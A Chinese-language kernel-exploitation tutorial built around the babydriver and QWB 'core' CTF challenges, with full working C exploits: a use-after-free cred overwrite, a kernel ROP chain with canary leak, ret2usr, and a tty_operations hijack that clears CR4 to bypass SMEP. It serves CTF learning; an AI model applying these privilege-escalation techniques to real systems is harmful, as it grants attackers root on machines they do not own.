查看原文
其他

Kernel PWN从入门到提升

kotoriseed 看雪学苑 2023-04-07


本文为看雪论坛精华文章

看雪论坛作者ID:kotoriseed


介于本人在入门kernel pwn的时候觉得当前trick种类繁多,前置知识也多得吓人,有点不知所措,且有些大佬的博客经常对一些我个人认为比较重要的点一句话带过,导致缺乏经验的我在学习过程中屡屡碰壁。所以我决定用此文章结合一道不错的例题尽可能详细的来讲一下kernel pwn从入门过渡到较高难度的部分,供想要学习kernel pwn的小伙伴们参考。


在开始看这篇文章之前,我希望小伙伴们已经掌握了kernel pwn一些最基本的操作,例如装好kernel pwn所需要的的前置环境。这一部分内容的优秀教程并不少。


另外,如果在阅读的过程中发现任何问题,都欢迎来和我交流指正。





BASIC


environment


在学习kernel pwn之前,需要搭建好很多前置环境。

  • qemu
  • busybox
  • 编译linux内核(可选)

至于具体的安装过程并不在本文的讨论范围内,如果还没完成,先自行百度解决。


文件系统


kernel题一般都会给出一个打包好的文件系统,因此需要掌握常用到的打包/解包命令。
find . | cpio -o --format=newc > ./rootfs.cpiocpio -idmv < ./rootfs.cpio

(有时解包出来很奇怪,可能是原始cpio文件其实是以gz格式压缩后的,先gunzip解压一遍)


cred结构体


kernel使用cred结构体记录了进程的权限,如果能劫持或伪造cred结构体,就能改变当前进程的权限。

原型如下:
struct cred { atomic_t usage;#ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic;#define CRED_MAGIC 0x43736564#define CRED_MAGIC_DEAD 0x44656144#endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security management */ kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */ kernel_cap_t cap_ambient; /* Ambient capability set */#ifdef CONFIG_KEYS unsigned char jit_keyring; /* default keyring to attach requested * keys to */ struct key __rcu *session_keyring; /* keyring inherited over fork */ struct key *process_keyring; /* keyring private to this process */ struct key *thread_keyring; /* keyring private to this thread */ struct key *request_key_auth; /* assumed request_key authority */#endif#ifdef CONFIG_SECURITY void *security; /* subjective LSM security */#endif struct user_struct *user; /* real user ID subscription */ struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ struct group_info *group_info; /* supplementary groups for euid/fsgid */ struct rcu_head rcu; /* RCU deletion hook */} __randomize_layout;
一般而言,我们需要想办法将uid和gid设置为0(root的uid和gid均为0)

如果能劫持到程序流程,执行以下函数也可以达到相同效果:
commit_creds(prepare_kernel_cred(0));commit_creds(init_cred);


内核态函数


运行在内核态的函数会和用户态有些许不同。
printf -> kprintf
memcpy -> copy_to_user / copy_from_user

内核的动态分配并不会采用用户态的glibc,他的堆分配器是SLAB或SLUB。常使用的函数如下:
malloc -> kmalloc
free -> kfree

为了安全考虑,内核态也只能运行内核态的函数(smep),想要运行system等函数,必须手动切换回用户态。

常用的指令是swapgs和iretq(或者swapgs_restore_regs_and_return_to_usermode函数,直接对CR3寄存器的第13位取反来完成切换页表的操作,该函数在KPTI开启的版本中依然有效,而swapgs往往会寄)

然后需要在栈上存一些上下文:
struct pt_regs {
/* ...................... */
/* Return frame for iretq */ unsigned long ip; unsigned long cs; unsigned long flags; unsigned long sp; unsigned long ss;/* top of stack page */};


gdb远程调试


以babydriver这题为例,先使用脚本extract-vmlinux提取出带符号的源码。
./extract-vmlinux ./bzImage > ./vmlinux

(脚本源码: 
https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux)
(或者用这个https://github.com/marin-m/vmlinux-to-elf)

在qemu中找到babydriver.ko代码段的起始地址。
启动gdb过后导入符号表。
add-symbol-file ./lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000

然后在boot.sh中添加以下参数:
(直接-s也行)

重新启动qemu过后,gdb远程连接。
pwndbg> target remote 127.0.0.1:1234
这里给出我常用的一些打包和调试的脚本。

pack.sh
#!/bin/zsh
gcc \ ./exp.c \ -o exp \ -masm=intel \ --static \ -g
chmod 777 ./exp
find . | cpio -o --format=newc > ./rootfs.cpiochmod 777 ./rootfs.cpio

gdbinit
file ./vmlinuxtarget remote 127.0.0.1:1234c


远程脚本


为了减小远程exp的体积,使用musl进行静态编译()
import sysimport osfrom pwn import *import string
context.log_level='debug'
sla = lambda x,y : p.sendlineafter(x,y)sa = lambda x,y : p.sendafter(x,y)ru = lambda x : p.recvuntil(x)
p = remote('127.0.0.1', 1234)
def send_cmd(cmd): sla('$ ', cmd)
def upload(): lg = log.progress('Upload') with open('exp', 'rb') as f: data = f.read() encoded = base64.b64encode(data) encoded = str(encoded)[2:-1] for i in range(0, len(encoded), 300): lg.status('%d / %d' % (i, len(encoded))) send_cmd('echo -n "%s" >> benc' % (encoded[i:i+300])) send_cmd('cat benc | base64 -d > bout') send_cmd('chmod +x bout') lg.success()
os.system('musl-gcc -w -s -static -o3 exp.c -o exp')upload()
p.interactive()





ATTACK


Kernel UAF


babydriver


分析


这是ciscn2017年的一道经典kernel pwn入门题。

解压rootfs.cpio后,在/lib/modules/4.4.72中找到了LKM文件babydriver.ko。

checksec只开了nx,且没有去除符号表,很方便调试和分析。

直接丢ida分析。
int __fastcall babyrelease(inode *inode, file *filp){ _fentry__(inode, filp); kfree(babydev_struct.device_buf); printk("device release\n"); return 0;}

在babyrelease中kfree()之后没有将babydev_struct.device_buf清空,从而导致了uaf漏洞。

而且babydev_struct是一个babydevice_t类型的公共变量,结构如下。
struct babydevice_t{ char *device_buf; size_t device_buf_len;};

device_buf是存一个缓冲区的指针,device_buf_len存该缓冲区大小。
其他的函数都很常规,
babyopen在打开一个设备的时候简单设置了一下babydev_struct的值。
int __fastcall babyopen(inode *inode, file *filp){ _fentry__(inode, filp); babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL); babydev_struct.device_buf_len = 64LL; printk("device open\n"); return 0;}

babywrite和babyread都只检查了一下device_buf指针是否为空和是否越界, 然后对device_buf进行常规的读写。
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset){ size_t v4; // rdx ssize_t result; // rax ssize_t v6; // rbx
_fentry__(filp, buffer); if ( !babydev_struct.device_buf ) return -1LL; result = -2LL; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; copy_from_user(); result = v6; } return result;}

ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset){ size_t v4; // rdx ssize_t result; // rax ssize_t v6; // rbx
_fentry__(filp, buffer); if ( !babydev_struct.device_buf ) return -1LL; result = -2LL; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; copy_to_user(buffer); result = v6; } return result;}

babyioctl比较有意思,当第二个参数command为0x10001时,可以重新kmalloc一块指定大小的object到babydev_struct.device_buf,从而修改了babydev_struct的device_buf_len为一个新值。
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg){ size_t v3; // rdx size_t v4; // rbx __int64 result; // rax
_fentry__(filp, command); v4 = v3; if ( command == 0x10001 ) { kfree(babydev_struct.device_buf); babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL); babydev_struct.device_buf_len = v4; printk("alloc done\n"); result = 0LL; } else { printk(&unk_2EB); result = -22LL; } return result;}
至此,利用思路已经非常明显了。

由于babydev_struct只存在一个,且调用到babyrelease的时候有uaf漏洞,我们可以open两个设备,然后使用babyioctl将babydev_struct.device_buf_len改成cred结构体的大小之后free掉,造成第二个设备存在一个悬挂指针。

此时再fork()一个新线程,由于kernel的内存分配器采用的是SLUB,之前释放掉的那个和cred结构体相同大小的堆块会直接当成这个线程的cred被申请。(kmem_cache_cpu->freelist是后进先出的,类似于用户态glibc的fastbin,不过object并没有header。另,本题内核版本在4.4.72,cred结构体的分配此时还并没有被隔离到cred_jar中)

在这个进程中使用babywrite,便可将cred的gid和uid都设置为0。

写好exp过后,由于rootfs.cpio里并没有libc,所以编译的时候要使用静态编译。
gcc exp.c -o exp -static

然后重新打包文件系统,并修改boot.sh中-initrd参数为新打包好的文件系统。

此时再打开qemu,运行exp过后便可提权成功。
(由于本做法在高版本不可能适用,且实际意义不大,所以下文将采用一些更"有意思"的做法来提权)

exp

#include<unistd.h>#include<stdio.h>#include<stdlib.h>#include<fcntl.h>#include<sys/wait.h>#include<sys/stat.h>int main(){ int fd1 = open("/dev/babydev", O_RDWR); int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 0x10001, 0xa8);
close(fd1); int id = fork(); if(id<0){ printf("fork error!\n"); exit(-1); } else if(id==0){ char cred[0x20] = {0}; write(fd2, cred, 0x1c); if(getuid()==0){ system("/bin/sh"); exit(0); } } else{ wait(NULL); } return 0;}


Kernel ROP


本质上和用户态的rop并无区别,只是目标从getshell变成了提权,并且rop结束部分需要引导程序流着陆回用户态。

core


分析


题目给出了bzImage, core.cpio, start.sh, vmlinux四个文件。

先将core.cpio解包,发现除了常规文件以外,还多了一个gen_cpio.sh。

内容如下:
find . -print0 \| cpio --null -ov --format=newc \| gzip -9 > $1

这是一个快速打包用的批处理文件。

看看start.sh。
qemu-system-x86_64 \-m 64M \-kernel ./bzImage \-initrd ./core.cpio \-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \-s \-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \-nographic \
开启了kaslr保护,并且用-s为gdb开了端口,所以不需要再-gdb tcp::1234开了。

不过他设置的64M内存不是很够用,我最终设置到了256M才能启动。

然后分析init。
#!/bin/shmount -t proc proc /procmount -t sysfs sysfs /sysmount -t devtmpfs none /dev/sbin/mdev -smkdir -p /dev/ptsmount -vt devpts -o gid=4,mode=620 none /dev/ptschmod 666 /dev/ptmxcat /proc/kallsyms > /tmp/kallsymsecho 1 > /proc/sys/kernel/kptr_restrictecho 1 > /proc/sys/kernel/dmesg_restrictifconfig eth0 upudhcpc -i eth0ifconfig eth0 10.0.2.15 netmask 255.255.255.0route add default gw 10.0.2.2insmod /core.ko
poweroff -d 120 -f &setsid /bin/cttyhack setuidgid 1000 /bin/shecho 'sh end!\n'umount /procumount /sys
poweroff -d 0 -f

比较特殊的地方就是将/proc/sys/kernel/kptr_restrict和/proc/sys/kernel/dmesg_restrict的内容设为了1,如此一来,就无法通过dmesg和查看/proc/kallsyms来获取函数地址了。

好在他前面有一行:
cat /proc/kallsyms > /tmp/kallsyms
将kallsyms备份到了tmp文件夹下。

然后之后设置了poweroff -d 120 -f,这句比较影响之后的调试,可以直接删掉,或者把时间改长一点。

我最终修改过后的init文件如下:
mount -t proc proc /procmount -t sysfs sysfs /sysmount -t devtmpfs none /dev/sbin/mdev -smkdir -p /dev/ptsmount -vt devpts -o gid=4,mode=620 none /dev/ptschmod 666 /dev/ptmxcat /proc/kallsyms > /tmp/kallsymsecho 1 > /proc/sys/kernel/kptr_restrictecho 1 > /proc/sys/kernel/dmesg_restrictifconfig eth0 upudhcpc -i eth0ifconfig eth0 10.0.2.15 netmask 255.255.255.0route add default gw 10.0.2.2insmod /core.kochown root:root /flagchmod 400 /flagcat /sys/module/core/sections/.text > /tmp/info
poweroff -d 1200000 -f &setsid /bin/cttyhack setuidgid 1000 /bin/sh# setsid /bin/cttyhack setuidgid 0 /bin/shecho 'sh end!\n'umount /procumount /sys
poweroff -d 0 -f
将core的.text节地址备份出来是为了方便后续gdb加载symbol文件。

而且这个/sys/module/core/sections/.text是只有root能读的,直接备份出来比较省事,当然也可以直接修改成root启动。

此外,为了方便后续打包和调试,我还写了两个批处理文件。
root@ubuntu:/home/kotori/Desktop/core# cat pack.shrm ./core.cpio./gen_cpio.sh ./core.cpiochmod 777 ./core.cpioroot@ubuntu:/home/kotori/Desktop/core# cat mkc.shgcc ./exp.c -o exp --static -masm=intelchmod 777 ./expsudo ./pack.sh

接下来就是分析core.ko的漏洞了。

checksec发现开启了canary和nx。

init_module()和exit_core()分别注册和注销了/proc/core,core_release()什么都没做,这里对它们不作分析。

core_ioctl中定义了三种操作,分别是调用core_read(),设置全局变量off,调用core_copy_func()。
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3){ switch ( a2 ) { case 0x6677889B: core_read(a3); break; case 0x6677889C: printk(&unk_2CD); off = a3; break; case 0x6677889A: printk(&unk_2B3); core_copy_func(a3); break; } return 0LL;}

core_read可以将距离rsp偏移为off的值往后拷贝0x40个字节给指定缓冲区。
unsigned __int64 __fastcall core_read(__int64 a1){ char *v2; // rdi __int64 i; // rcx unsigned __int64 result; // rax char v5[64]; // [rsp+0h] [rbp-50h] BYREF unsigned __int64 v6; // [rsp+40h] [rbp-10h]
v6 = __readgsqword(0x28u); printk(&unk_25B); printk(&unk_275); v2 = v5; for ( i = 16LL; i; --i ) { *(_DWORD *)v2 = 0; v2 += 4; } strcpy(v5, "Welcome to the QWB CTF challenge.\n"); result = copy_to_user(a1, &v5[off], 64LL); if ( !result ) return __readgsqword(0x28u) ^ v6; __asm { swapgs } return result;}
这里利用off是可以读出canary的。

core_write是将至多0x800个字节从指定缓冲区复制到name中去。
__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3){ printk(&unk_215); if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) ) return (unsigned int)a3; printk(&unk_230); return 0xFFFFFFF2LL;}

这个core_copy_func则是本题最大的漏洞点。
__int64 __fastcall core_copy_func(__int64 a1){ __int64 result; // rax _QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
v2[8] = __readgsqword(0x28u); printk(&unk_215); if ( a1 > 63 ) { printk(&unk_2A1); result = 0xFFFFFFFFLL; } else { result = 0LL; qmemcpy(v2, &name, (unsigned __int16)a1); } return result;}

当长度参数a1小于等于63时,便可将name中对应字节数的数据复制到栈上变量v2中去,且a1和63作比较时是有符号数,最后调用qmemcpy时转成了unsigned __int16。所以只需要将a1最低两个字节的数据随便设置成一个能装下name的长度,然后其余字节都是0xff就行了。我这里最后构造的a1是0xffffffffffff0100。

所以整个攻击流程如下:

① 设置好off去读出canary的值。

② 布置好rop之后调用core_write将rop写入name中。

③ 调用core_copy_func,将name的内容写入栈上变量v2中,造成栈溢出,调用commit_creds(prepare_kernel_cred(0))提权。


当然,在写rop之前,还有一个小小的问题需要解决。那就是解决kaslr和pie带来的偏移问题。

原始无pie的vmlinux基址是0xffffffff81000000
commit_creds的地址是0xffffffff81000000+0x9c8e0
prepare_kernel_creds的地址是0xffffffff8109cce0

包括后续找到的gadgets的地址,这些全是no-pie情况下的地址,我们还需要知道真正运行起来的时候与之的偏移。

这个其实就可以直接在/tmp/kallsyms中,利用他给出的commit_creds或prepare_kernel_cred此时的地址来计算出来。
size_t leak_vmlinux_base(){ FILE* fd = fopen("/tmp/kallsyms", "r"); if(fd==NULL){ puts("[-] open file failed."); exit(-1); } char buf[0x40] = {0}; while(fgets(buf, 0x30, fd)!=NULL){ if(strstr(buf, "commit_creds")){ char ptr[0x18] = {0}; strncpy(ptr, buf, 0x10); sscanf(ptr, "%lx", &commit_creds); printf("[+] commit_creds: 0x%lx\n", commit_creds); prepare_kernel_cred = commit_creds-0x9c8e0+0x9cce0; fclose(fd); return commit_creds-0x9c8e0; } else if(strstr(buf, "prepare_kernel_cred")){ char ptr[0x18] = {0}; strncpy(ptr, buf, 0x10); sscanf(ptr, "%lx", &prepare_kernel_cred); printf("[+] prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred); commit_creds = prepare_kernel_cred-0x9cce0+0x9c8e0; fclose(fd); return prepare_kernel_cred-0x9cce0; } } fclose(fd); return 0;}

gadgets的预处理可以用ropper解决(ROPgadget太慢了)。
ropper --file ./vmlinux --nocolor > g

至于rop的构思的话就非常简单了,先摆好rdi为0,然后调用prepare_kernel_cred,此时返回值会在rax中,如果有mov rdi, rax; ret的话将绝杀,可惜没有。

不过好在有类似的好几个,我选择了mov rdi, rax; jmp rcx;
如果在这之前将rcx摆好commit_creds就很方便了。

然后切换回用户态,iretq; ret是有的,swapgs就只有swapgs; popfq; ret;,所以后面要跟一个垃圾数据平衡一下栈。

最后按照rip, cs, rflags, rsp, ss的顺序摆好之前用户态的寄存器就好了。


exp

#include<stdio.h>#include<stdlib.h>#include<string.h>#include<unistd.h>#include<fcntl.h>#include<sys/stat.h>#include<sys/types.h>#include<sys/ioctl.h>size_t u_cs, u_rflags, u_rsp, u_ss;size_t commit_creds, prepare_kernel_cred;void save_status(){ __asm__("mov u_cs, cs;" "pushf;" "pop u_rflags;" "mov u_rsp, rsp;" "mov u_ss, ss;" );}void set_off(int fd, int offset){ ioctl(fd, 0x6677889c, offset);}size_t leak_canary(int fd){ size_t temp[0x10] = {0}; set_off(fd, 0x40); ioctl(fd, 0x6677889b, temp); return temp[0];}size_t leak_vmlinux_base(){ FILE* fd = fopen("/tmp/kallsyms", "r"); if(fd==NULL){ puts("[-] open file failed."); exit(-1); } char buf[0x40] = {0}; while(fgets(buf, 0x30, fd)!=NULL){ if(strstr(buf, "commit_creds")){ char ptr[0x18] = {0}; strncpy(ptr, buf, 0x10); sscanf(ptr, "%lx", &commit_creds); printf("[+] commit_creds: 0x%lx\n", commit_creds); prepare_kernel_cred = commit_creds-0x9c8e0+0x9cce0; fclose(fd); return commit_creds-0x9c8e0; } else if(strstr(buf, "prepare_kernel_cred")){ char ptr[0x18] = {0}; strncpy(ptr, buf, 0x10); sscanf(ptr, "%lx", &prepare_kernel_cred); printf("[+] prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred); commit_creds = prepare_kernel_cred-0x9cce0+0x9c8e0; fclose(fd); return prepare_kernel_cred-0x9cce0; } } fclose(fd); return 0;}void get_root_shell(){ if(getuid()==0) system("/bin/sh"); else{ puts("[-] get root shell failed."); exit(-1); }}void rop(int fd, size_t canary, size_t offset){ size_t name[0x100] = {0}; //----gadgets---- size_t pop_rdi = 0xffffffff81000b2f; // pop rdi; ret; size_t mov_rdi_rax_jmp_rcx = 0xffffffff811ae978; // mov rdi, rax; jmp rcx; size_t pop_rcx = 0xffffffff81021e53; // pop rcx; ret; size_t swapgs_popfq = 0xffffffff81a012da; // swapgs; popfq; ret; size_t iretq = 0xffffffff81050ac2; // iretq; ret; int idx = 0; for(idx=0;idx<10;idx++) name[idx] = canary; name[idx++] = pop_rdi + offset; name[idx++] = 0; name[idx++] = prepare_kernel_cred; name[idx++] = pop_rcx + offset; name[idx++] = commit_creds; name[idx++] = mov_rdi_rax_jmp_rcx + offset; name[idx++] = swapgs_popfq + offset; name[idx++] = 0; name[idx++] = iretq + offset; name[idx++] = (size_t)get_root_shell; //rip name[idx++] = u_cs; name[idx++] = u_rflags; name[idx++] = u_rsp; name[idx++] = u_ss; write(fd, name, 0x800); puts("[+] rop loaded."); ioctl(fd, 0x6677889a, (0xffffffffffff0100));}int main(){ save_status(); int fd = open("/proc/core", O_RDWR); size_t canary = leak_canary(fd); printf("[+] canary: 0x%lx\n", canary); size_t vmlinux_base = leak_vmlinux_base(); if(!vmlinux_base){ printf("[-] leak base failed.\n"); exit(-1); } size_t vmlinux_base_no_pie = 0xffffffff81000000; size_t offset = vmlinux_base - vmlinux_base_no_pie; printf("[+] offset: 0x%lx\n", offset); rop(fd, canary, offset); return 0;}


SMEP & ret2usr


再看core


之前使用kernel rop的方法打下来了core这道题。但其实,默认情况下,虽然内核态的函数在用户空间下是无法运行的,但用户态的函数在内核空间却可以运行,因此我们可以在用户空间构造好commit_creds(prepare_kernel_cred(0)),然后在内核空间以ring 0权限来运行它。

利用这一点,可以对core的exp作出局部调整:

加入get_root函数
void get_root(){ void* (*cc)(char *) = commit_creds; char* (*pkc)(int) = prepare_kernel_cred; (*cc)((*pkc)(0)); // commit_creds(prepare_kernel_cred(0));}

修改rop

for(idx=0;idx<10;idx++) name[idx] = canary;/*name[idx++] = pop_rdi + offset;name[idx++] = 0;name[idx++] = prepare_kernel_cred;name[idx++] = pop_rcx + offset;name[idx++] = commit_creds;name[idx++] = mov_rdi_rax_jmp_rcx + offset;*/name[idx++] = (size_t)get_root;name[idx++] = swapgs_popfq + offset;name[idx++] = 0;name[idx++] = iretq + offset;name[idx++] = (size_t)get_root_shell; //ripname[idx++] = u_cs;name[idx++] = u_rflags;name[idx++] = u_rsp;name[idx++] = u_ss;

仍然可以成功提权。
(不过此方法在不久之后出现KPTI页表隔离保护之后就完全没法利用了)


SMEP & SMAP


Introduction


smep保护使得内核态也不能执行内核空间的代码了,因此直接ret2usr会失败。
(与之相近的保护机制是smap,他能让内核空间无法直接访问用户空间的数据)

不过是否开启smep保护是记录在cr4寄存器上的。

cr4寄存器的第20位为1时SMEP就视为开启,为0则视为关闭。


Bypass


既然知道了判断是否开启smep的机制,那么bypass思路也很清晰了。只需要利用某些gadgets来修改cr4寄存器的值即可。(通常改成0x6f0,同时关闭smep和smap。不过控制cr4的gadgets在高版本无了)


REsolve: babydriver (hijack tty_operation + ret2usr)


分析


这里用ret2usr的方法再解决一遍babydriver这道题。

查看boot.sh,发现开启了smep。
qemu-system-x86_64 \ -initrd rootfs.cpio \ -kernel bzImage \ -append 'console=ttyS0 root=/dev/ram nopti oops=panic panic=1' \ -enable-kvm -monitor /dev/null -m 256M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep

所以我们需要用rop来关闭smep,然后再ret2usr提权。

可是这道题的洞是uaf,如何达成rop的目的呢?这里就需要用到tty_struct和tty_operation这两个结构体了。

他们的原型分别如下:
struct tty_struct { int magic; struct kref kref; struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; int index; /* Protects ldisc changes: Lock tty not pty */ struct ld_semaphore ldisc_sem; struct tty_ldisc *ldisc; struct mutex atomic_write_lock; struct mutex legacy_mutex; struct mutex throttle_mutex; struct rw_semaphore termios_rwsem; struct mutex winsize_mutex; spinlock_t ctrl_lock; spinlock_t flow_lock; /* Termios values are protected by the termios rwsem */ struct ktermios termios, termios_locked; struct termiox *termiox; /* May be NULL for unsupported */ char name[64]; struct pid *pgrp; /* Protected by ctrl lock */ struct pid *session; unsigned long flags; int count; struct winsize winsize; /* winsize_mutex */ unsigned long stopped:1, /* flow_lock */ flow_stopped:1, unused:BITS_PER_LONG - 2; int hw_stopped; unsigned long ctrl_status:8, /* ctrl_lock */ packet:1, unused_ctrl:BITS_PER_LONG - 9; unsigned int receive_room; /* Bytes free for queue */ int flow_change; struct tty_struct *link; struct fasync_struct *fasync; wait_queue_head_t write_wait; wait_queue_head_t read_wait; struct work_struct hangup_work; void *disc_data; void *driver_data; spinlock_t files_lock; /* protects tty_files list */ struct list_head tty_files;#define N_TTY_BUF_SIZE 4096 int closing; unsigned char *write_buf; int write_cnt; /* If the tty has a pending do_SAK, queue it here - akpm */ struct work_struct SAK_work; struct tty_port *port;} __randomize_layout;

struct tty_operations { struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx); int (*install)(struct tty_driver *driver, struct tty_struct *tty); void (*remove)(struct tty_driver *driver, struct tty_struct *tty); int (*open)(struct tty_struct * tty, struct file * filp); void (*close)(struct tty_struct * tty, struct file * filp); void (*shutdown)(struct tty_struct *tty); void (*cleanup)(struct tty_struct *tty); int (*write)(struct tty_struct * tty, const unsigned char *buf, int count); int (*put_char)(struct tty_struct *tty, unsigned char ch); void (*flush_chars)(struct tty_struct *tty); int (*write_room)(struct tty_struct *tty); int (*chars_in_buffer)(struct tty_struct *tty); int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); void (*set_termios)(struct tty_struct *tty, struct ktermios * old); void (*throttle)(struct tty_struct * tty); void (*unthrottle)(struct tty_struct * tty); void (*stop)(struct tty_struct *tty); void (*start)(struct tty_struct *tty); void (*hangup)(struct tty_struct *tty); int (*break_ctl)(struct tty_struct *tty, int state); void (*flush_buffer)(struct tty_struct *tty); void (*set_ldisc)(struct tty_struct *tty); void (*wait_until_sent)(struct tty_struct *tty, int timeout); void (*send_xchar)(struct tty_struct *tty, char ch); int (*tiocmget)(struct tty_struct *tty); int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear); int (*resize)(struct tty_struct *tty, struct winsize *ws); int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew); int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount); void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);#ifdef CONFIG_CONSOLE_POLL int (*poll_init)(struct tty_driver *driver, int line, char *options); int (*poll_get_char)(struct tty_driver *driver, int line); void (*poll_put_char)(struct tty_driver *driver, int line, char ch);#endif int (*proc_show)(struct seq_file *, void *);} __randomize_layout;

在tty_struct中有const struct tty_operations *ops;

因此如果可以伪造出一个tty_struct,使它的*ops指向一个伪造出来的tty_operation,即可利用write和ioctl这些函数来劫持程序执行流程。

由于不熟悉结构体,我这里是先把tty_operation的内容布置成了比较有规律的样子,然后利用报错计算偏移。
size_t fake_tty_operation[0x20] = { 0xffffffff00000000, 0xffffffff00000001, 0xffffffff00000002, 0xffffffff00000003, 0xffffffff00000004, 0xffffffff00000005, 0xffffffff00000006, 0xffffffff00000007, 0xffffffff00000008, 0xffffffff00000009, 0xffffffff0000000a, 0xffffffff0000000b, 0xffffffff0000000c};
一闪而过的报错中,可以看出来babywrite是被劫持到了tty_operation[7]这个位置,所以直接从这里开始劫持控制流。(后面发现,只要在启动脚本中加一句-no-reboot就不用担心看不见报错了,泪目)

想要完成内核rop,此时肯定需要控制一下rsp的位置,有一个比较好用的gadget:
0xffffffff8181bfc5: mov rsp, rax; dec ebx; jmp 0xffffffff8181bf7e;0xffffffff8181bf7e: ret;

经过调试,发现此时rax的值刚好是这个tty_operation结构体的首地址。

所以此时有两个思路:
① 复用一次0xffffffff8181bfc5这里的gadget,把rsp劫持到用户态的rop那里去。
② 直接在tty_operation里rop,但是要注意一下绕过tty_operation[7]。

不管用哪个,最终都能成功劫持程序流完成ret2usr。(由于一些原因,我还是选择了第二种方式)

不过有一个问题,使用这题原生的内核版本4.4.72会出现PANIC: double fault, error_code: 0x0这样的报错,<del>所以需要换内核版本运行,这里就不过多讨论了。</del>

查了一些资料过后,发现很可能是PTI保护机制的问题,在尝试关闭PTI无果之后,发现其实可以通过对特定signal的处理来继续完成利用,比如说PTI机制这里会抛出的11号信号,给他处理成get_root_shell这个函数就行了,因为在这之前已经完成了bypass smep和prepare_kernel_cred(commit_creds(0))的操作。
(本来想用swapgs_restore_regs_and_return_to_usermode的,不过这个题内核版本太老了,貌似还并没有引进这个函数)


exp

#include<stdio.h>#include<stdlib.h>#include<string.h>#include<unistd.h>#include<fcntl.h>#include<sys/stat.h>#include<sys/types.h>#include<sys/ioctl.h>
size_t usr_cs, usr_rflags, usr_rsp, usr_ss;void save_status(){ __asm__("mov usr_cs, cs;" "pushf;" "pop usr_rflags;" "mov usr_rsp, rsp;" "mov usr_ss, ss;" );}void get_root(){ char* (*pkc)(int) = 0xffffffff810a1810; // prepare_kernel_cred; void* (*cc)(char*) = 0xffffffff810a1420; // commit_creds; (*cc)((*pkc)(0));}void get_root_shell(){ if(getuid()!=0){ puts("[-] get root failed."); exit(-1); } system("/bin/sh");}int main(){ save_status(); signal(11, (size_t)get_root_shell);
int fd1 = open("/dev/babydev", O_RDWR); int fd2 = open("/dev/babydev", O_RDWR); ioctl(fd1, 0x10001, 0x2e0); close(fd1); // uaf size_t rop[0x30] = {0}; int i = 0; rop[i++] = 0xffffffff810d238d; // pop rdi; ret; rop[i++] = 0x6f0; // bypass smep rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret; rop[i++] = 0; rop[i++] = (size_t)get_root; // ret2usr rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret; rop[i++] = 0; rop[i++] = 0xffffffff814e35ef; // iretq; ret; rop[i++] = (size_t)get_root_shell; // rip rop[i++] = usr_cs; rop[i++] = usr_rflags; rop[i++] = usr_rsp; rop[i++] = usr_ss;
int fd3 = open("/dev/ptmx", O_RDWR|O_NOCTTY); size_t fake_tty_operation[0x20] = { 0xffffffff00000000, 0xffffffff00000001, 0xffffffff00000002, 0xffffffff00000003, 0xffffffff00000004, 0xffffffff00000005, 0xffffffff00000006, 0xffffffff00000007, 0xffffffff00000008, 0xffffffff00000009, 0xffffffff0000000a, 0xffffffff0000000b, 0xffffffff0000000c }; /* fake_tty_operation[0] = 0xffffffff8100ce6e; // pop rax; ret; fake_tty_operation[1] = rop[0]; for(int j=2;j<5;j++) fake_tty_operation[j] = 0xffffffff8100ce6f; // ret; fake_tty_operation[5] = 0xffffffff8105c144; // pop rbx; ret; fake_tty_operation[6] = 0xffff880006f31c00; */ for(int j=0;j<5;j++) fake_tty_operation[j] = rop[j]; fake_tty_operation[5] = 0xffffffff8100ce6f; // ret; for(int j=6;j<14;j++) fake_tty_operation[j] = rop[j-1];
fake_tty_operation[7] = 0xffffffff8181bfc5; // mov rsp, rax; dec ebx; ret;
size_t fake_tty_struct[4] = {0}; read(fd2, fake_tty_struct, 32); fake_tty_struct[3] = (size_t)fake_tty_operation; // hijack *ops write(fd2, fake_tty_struct, 32);
char buf[0x10] = {0}; write(fd3, buf, 0x8); // tty_operation -> write return 0;}


RE: REsolve: babydriver (msg_msg + seq_file + pt_regs + ret2usr)


分析


大多数情况下,smep和smap都是同时出现的,那么之前那个攻击方式就有欠缺了些许味道。(毕竟伪造的tty_operation还是位于用户态,所以并不能抗住smap这个机制)

所以我又脑子一热,将启动脚本修改如下(加入了smap):
